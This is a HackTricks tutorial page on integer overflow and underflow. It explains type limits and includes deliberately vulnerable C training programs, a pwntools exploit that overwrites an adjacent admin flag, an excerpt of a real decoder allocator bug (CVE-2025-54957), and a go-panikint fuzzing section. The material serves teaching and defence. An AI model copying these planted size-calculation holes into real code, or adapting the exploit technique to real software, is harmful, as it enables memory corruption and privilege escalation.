Integer Overflow

Tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Basic Information

At the heart of an integer overflow is the limitation imposed by the size of data types in computer programming and the interpretation of the data.

For example, an 8-bit unsigned integer can represent values from 0 to 255. If you attempt to store the value 256 in an 8-bit unsigned integer, it wraps around to 0 due to the limitation of its storage capacity. Similarly, for a 16-bit unsigned integer, which can hold values from 0 to 65,535, adding 1 to 65,535 will wrap the value back to 0.

Moreover, an 8-bit signed integer can represent values from -128 to 127. This is because one bit is used to represent the sign (positive or negative), leaving 7 bits to represent the magnitude. The most negative number is represented as -128 (binary 10000000), and the most positive number is 127 (binary 01111111).

Max values for common integer types:

TypeSize (bits)Min ValueMax Value
int8_t8-128127
uint8_t80255
int16_t16-32,76832,767
uint16_t16065,535
int32_t32-2,147,483,6482,147,483,647
uint32_t3204,294,967,295
int64_t64-9,223,372,036,854,775,8089,223,372,036,854,775,807
uint64_t64018,446,744,073,709,551,615

A short is equivalent to a int16_t and an int is equivalent to a int32_t and a long is equivalent to a int64_t in 64bits systems.

Max values

For potential web vulnerabilities it’s very interesting to know the maximum supported values:

fn main() {

    let mut quantity = 2147483647;

    let (mul_result, _) = i32::overflowing_mul(32767, quantity);
    let (add_result, _) = i32::overflowing_add(1, quantity);

    println!("{}", mul_result);
    println!("{}", add_result);
}

Examples

Pure overflow

The printed result will be 0 as we overflowed the char:

#include <stdio.h>

int main() {
    unsigned char max = 255; // 8-bit unsigned integer
    unsigned char result = max + 1;
    printf("Result: %d\n", result); // Expected to overflow
    return 0;
}

Signed to Unsigned Conversion

Consider a situation where a signed integer is read from user input and then used in a context that treats it as an unsigned integer, without proper validation:

#include <stdio.h>

int main() {
    int userInput; // Signed integer
    printf("Enter a number: ");
    scanf("%d", &userInput);

    // Treating the signed input as unsigned without validation
    unsigned int processedInput = (unsigned int)userInput;

    // A condition that might not work as intended if userInput is negative
    if (processedInput > 1000) {
        printf("Processed Input is large: %u\n", processedInput);
    } else {
        printf("Processed Input is within range: %u\n", processedInput);
    }

    return 0;
}

In this example, if a user inputs a negative number, it will be interpreted as a large unsigned integer due to the way binary values are interpreted, potentially leading to unexpected behavior.

macOS Overflow Example

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>

/*
 * Realistic integer-overflow β†’ undersized allocation β†’ heap overflow β†’ flag
 * Works on macOS arm64 (no ret2win required; avoids PAC/CFI).
 */

__attribute__((noinline))
void win(void) {
    puts("πŸŽ‰ EXPLOITATION SUCCESSFUL πŸŽ‰");
    puts("FLAG{integer_overflow_to_heap_overflow_on_macos_arm64}");
    exit(0);
}

struct session {
    int is_admin;           // Target to flip from 0 β†’ 1
    char note[64];
};

static size_t read_stdin(void *dst, size_t want) {
    // Read in bounded chunks to avoid EINVAL on large nbyte (macOS PTY/TTY)
    const size_t MAX_CHUNK = 1 << 20; // 1 MiB per read (any sane cap is fine)
    size_t got = 0;

    printf("Requested bytes: %zu\n", want);

    while (got < want) {
        size_t remain = want - got;
        size_t chunk  = remain > MAX_CHUNK ? MAX_CHUNK : remain;

        ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
        if (n > 0) {
            got += (size_t)n;
            continue;
        }
        if (n == 0) {
            // EOF – stop; partial reads are fine for our exploit
            break;
        }
        // n < 0: real error (likely EINVAL when chunk too big on some FDs)
        perror("read");
        break;
    }
    return got;
}


int main(void) {
    setvbuf(stdout, NULL, _IONBF, 0);
    puts("=== Bundle Importer (training) ===");

    // 1) Read attacker-controlled parameters (use large values)
    size_t count = 0, elem_size = 0;
    printf("Entry count: ");
    if (scanf("%zu", &count) != 1) return 1;
    printf("Entry size: ");
    if (scanf("%zu", &elem_size) != 1) return 1;

    // 2) Compute total bytes with a 32-bit truncation bug (vulnerability)
    //    NOTE: 'product32' is 32-bit β†’ wraps; then we add a tiny header.
    uint32_t product32 = (uint32_t)(count * elem_size);//<-- Integer overflow because the product is converted to 32-bit. 
    /* So if you send "4294967296" (0x1_00000000 as count) and 1 as element --> 0x1_00000000 * 1 = 0 in 32bits
    Then, product32 = 0 
    */
    uint32_t alloc32   = product32 + 32; // alloc32 = 0 + 32 = 32
    printf("[dbg] 32-bit alloc = %u bytes (wrapped)\n", alloc32);

    // 3) Allocate a single arena and lay out [buffer][slack][session]
    //    This makes adjacency deterministic (no reliance on system malloc order).
    const size_t SLACK = 512;
    size_t arena_sz = (size_t)alloc32 + SLACK; // 32 + 512 = 544 (0x220)
    unsigned char *arena = (unsigned char*)malloc(arena_sz);
    if (!arena) { perror("malloc"); return 1; }
    memset(arena, 0, arena_sz);

    unsigned char *buf  = arena;  // In this buffer the attacker will copy data
    struct session *sess = (struct session*)(arena + (size_t)alloc32 + 16); // The session is stored right after the buffer + alloc32 (32) + 16 = buffer + 48
    sess->is_admin = 0;
    strncpy(sess->note, "regular user", sizeof(sess->note)-1);

    printf("[dbg] arena=%p buf=%p alloc32=%u sess=%p offset_to_sess=%zu\n",
           (void*)arena, (void*)buf, alloc32, (void*)sess,
           ((size_t)alloc32 + 16)); // This just prints the address of the pointers to see that the distance between "buf" and "sess" is 48 (32 + 16).

    // 4) Copy uses native size_t product (no truncation) β†’ It generates an overflow
    size_t to_copy = count * elem_size;                   // <-- Large size_t
    printf("[dbg] requested copy (size_t) = %zu\n", to_copy);

    puts(">> Send bundle payload on stdin (EOF to finish)...");
    size_t got = read_stdin(buf, to_copy); // <-- Heap overflow vulnerability that can bue abused to overwrite sess->is_admin to 1
    printf("[dbg] actually read = %zu bytes\n", got);

    // 5) Privileged action gated by a field next to the overflow target
    if (sess->is_admin) {
        puts("[dbg] admin privileges detected");
        win();
    } else {
        puts("[dbg] normal user");
    }
    return 0;
}

Compile it with:

clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
  -o int_ovf_heap_priv int_ovf_heap_priv.c

Exploit

# exploit.py
from pwn import *

# Keep logs readable; switch to "debug" if you want full I/O traces
context.log_level = "info"

EXE = "./int_ovf_heap_priv"

def main():
    # IMPORTANT: use plain pipes, not PTY
    io = process([EXE])  # stdin=PIPE, stdout=PIPE by default

    # 1) Drive the prompts
    io.sendlineafter(b"Entry count: ", b"4294967296")  # 2^32 -> (uint32_t)0
    io.sendlineafter(b"Entry size: ",  b"1")           # alloc32 = 32, offset_to_sess = 48

    # 2) Wait until it’s actually reading the payload
    io.recvuntil(b">> Send bundle payload on stdin (EOF to finish)...")

    # 3) Overflow 48 bytes, then flip is_admin to 1 (little-endian)
    payload = b"A" * 48 + p32(1)

    # 4) Send payload, THEN send EOF via half-close on the pipe
    io.send(payload)
    io.shutdown("send")   # <-- this delivers EOF when using pipes, it's needed to stop the read loop from the binary

    # 5) Read the rest (should print admin + FLAG)
    print(io.recvall(timeout=5).decode(errors="ignore"))

if __name__ == "__main__":
    main()

macOS Underflow Example

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>

/*
 * Integer underflow -> undersized allocation + oversized copy -> heap overwrite
 * Works on macOS arm64. Data-oriented exploit: flip sess->is_admin.
 */

__attribute__((noinline))
void win(void) {
    puts("πŸŽ‰ EXPLOITATION SUCCESSFUL πŸŽ‰");
    puts("FLAG{integer_underflow_heap_overwrite_on_macos_arm64}");
    exit(0);
}

struct session {
    int  is_admin;      // flip 0 -> 1
    char note[64];
};

static size_t read_stdin(void *dst, size_t want) {
    // Read in bounded chunks so huge 'want' doesn't break on PTY/TTY.
    const size_t MAX_CHUNK = 1 << 20; // 1 MiB
    size_t got = 0;
    printf("[dbg] Requested bytes: %zu\n", want);
    while (got < want) {
        size_t remain = want - got;
        size_t chunk  = remain > MAX_CHUNK ? MAX_CHUNK : remain;
        ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
        if (n > 0) { got += (size_t)n; continue; }
        if (n == 0) break;    // EOF: partial read is fine
        perror("read"); break;
    }
    return got;
}

int main(void) {
    setvbuf(stdout, NULL, _IONBF, 0);
    puts("=== Packet Importer (UNDERFLOW training) ===");

    size_t total_len = 0;
    printf("Total packet length: ");
    if (scanf("%zu", &total_len) != 1) return 1; // Suppose it's "8"

    const size_t HEADER = 16;

    // **BUG**: size_t underflow if total_len < HEADER
    size_t payload_len = total_len - HEADER;   // <-- UNDERFLOW HERE if total_len < HEADER --> Huge number as it's unsigned
    // If total_len = 8, payload_len = 8 - 16 = -8 = 0xfffffffffffffff8 = 18446744073709551608 (on 64bits - huge number)
    printf("[dbg] total_len=%zu, HEADER=%zu, payload_len=%zu\n",
           total_len, HEADER, payload_len);

    // Build a deterministic arena: [buf of total_len][16 gap][session][slack]
    const size_t SLACK = 256;
    size_t arena_sz = total_len + 16 + sizeof(struct session) + SLACK; // 8 + 16 + 72 + 256 = 352 (0x160)
    unsigned char *arena = (unsigned char*)malloc(arena_sz);
    if (!arena) { perror("malloc"); return 1; }
    memset(arena, 0, arena_sz);

    unsigned char *buf  = arena;
    struct session *sess = (struct session*)(arena + total_len + 16);
    // The offset between buf and sess is total_len + 16 = 8 + 16 = 24 (0x18)
    sess->is_admin = 0;
    strncpy(sess->note, "regular user", sizeof(sess->note)-1);

    printf("[dbg] arena=%p buf=%p total_len=%zu sess=%p offset_to_sess=%zu\n",
           (void*)arena, (void*)buf, total_len, (void*)sess, total_len + 16);

    puts(">> Send payload bytes (EOF to finish)...");
    size_t got = read_stdin(buf, payload_len);
    // The offset between buf and sess is 24 and the payload_len is huge so we can overwrite sess->is_admin to set it as 1 
    printf("[dbg] actually read = %zu bytes\n", got);

    if (sess->is_admin) {
        puts("[dbg] admin privileges detected");
        win();
    } else {
        puts("[dbg] normal user");
    }
    return 0;
}

Compile it with:

clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
  -o int_underflow_heap int_underflow_heap.c

Allocator alignment rounding wrap β†’ undersized chunk β†’ heap overflow (Dolby UDC case)

Some custom allocators round allocations up to alignment without re-checking for overflow. In the Dolby Unified Decoder (Pixel 9, CVE-2025-54957), attacker-controlled emdf_payload_size (decoded with an unbounded variable_bits(8) loop) is fed into ddp_udc_int_evo_malloc:

size_t total_size = alloc_size + extra;
if (alloc_size + extra < alloc_size) return 0; // initial wrap guard
if (total_size % 8)
    total_size += (8 - total_size) % total_size; // vulnerable rounding
if (total_size > heap->remaining) return 0;

For 64-bit values near 0xFFFFFFFFFFFFFFF9, (8 - total_size) % total_size wraps the addition and produces a tiny total_size even though the logical alloc_size remains huge. The caller later writes payload_length bytes into the returned chunk:

buffer = ddp_udc_int_evo_malloc(evo_heap, payload_length, extra);
for (size_t i = 0; i < payload_length; i++) { // bounds use logical size
    buffer[i] = next_byte_from_emdf();       // writes past tiny chunk
}

Why exploitation is reliable in this pattern:

  • Overflow length control: Bytes are sourced from a reader capped by another attacker-chosen length (emdf_container_length), so the write stops after N bytes instead of spraying payload_length.
  • Overflow data control: Bytes written past the chunk are fully attacker-supplied from the EMDF payload.
  • Heap determinism: The allocator is a per-frame bump-pointer slab with no frees, so adjacency of corrupted objects is predictable.

Other Examples

Go integer overflow detection with go-panikint

Go wraps integers silently. go-panikint is a forked Go toolchain that injects SSA overflow checks so wrapped arithmetic immediately calls runtime.panicoverflow() (panic + stack trace).

Why use it

  • Makes overflow/truncation reachable in fuzzing/CI because arithmetic wraps now crash.
  • Useful around user-controlled pagination, offsets, quotas, size calculations, or access-control math (e.g., end := offset + limit on uint64 wrapping small).

Build & use

git clone https://github.com/trailofbits/go-panikint
cd go-panikint/src && ./make.bash
export GOROOT=/path/to/go-panikint
./bin/go test -fuzz=FuzzOverflowHarness

Run this forked go binary for tests/fuzzing to surface overflows as panics.

Noise control

  • Truncation checks (casts to smaller ints) can be noisy.
  • Suppress intentional wrap-around via source-path filters or inline // overflow_false_positive / // truncation_false_positive comments.

Real-world pattern

go-panikint revealed a Cosmos SDK uint64 pagination overflow: end := pageRequest.Offset + pageRequest.Limit wrapped past MaxUint64, returning empty results. Instrumentation turned the silent wrap into a panic that fuzzers could minimize.

ARM64

This doesn’t change in ARM64 as you can see in this blog post.

References

Tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks